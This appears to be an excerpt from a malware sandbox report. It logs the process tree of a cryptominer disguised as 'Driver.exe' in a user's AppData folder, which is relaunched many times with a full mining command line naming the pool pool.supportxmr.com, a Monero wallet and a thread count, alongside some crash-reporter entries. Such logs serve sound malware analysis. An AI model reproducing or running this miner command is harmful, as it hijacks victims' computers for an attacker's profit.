C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3408 -s 3687⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2792 -s 3687⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3116 -s 3687⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6012 -s 3607⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
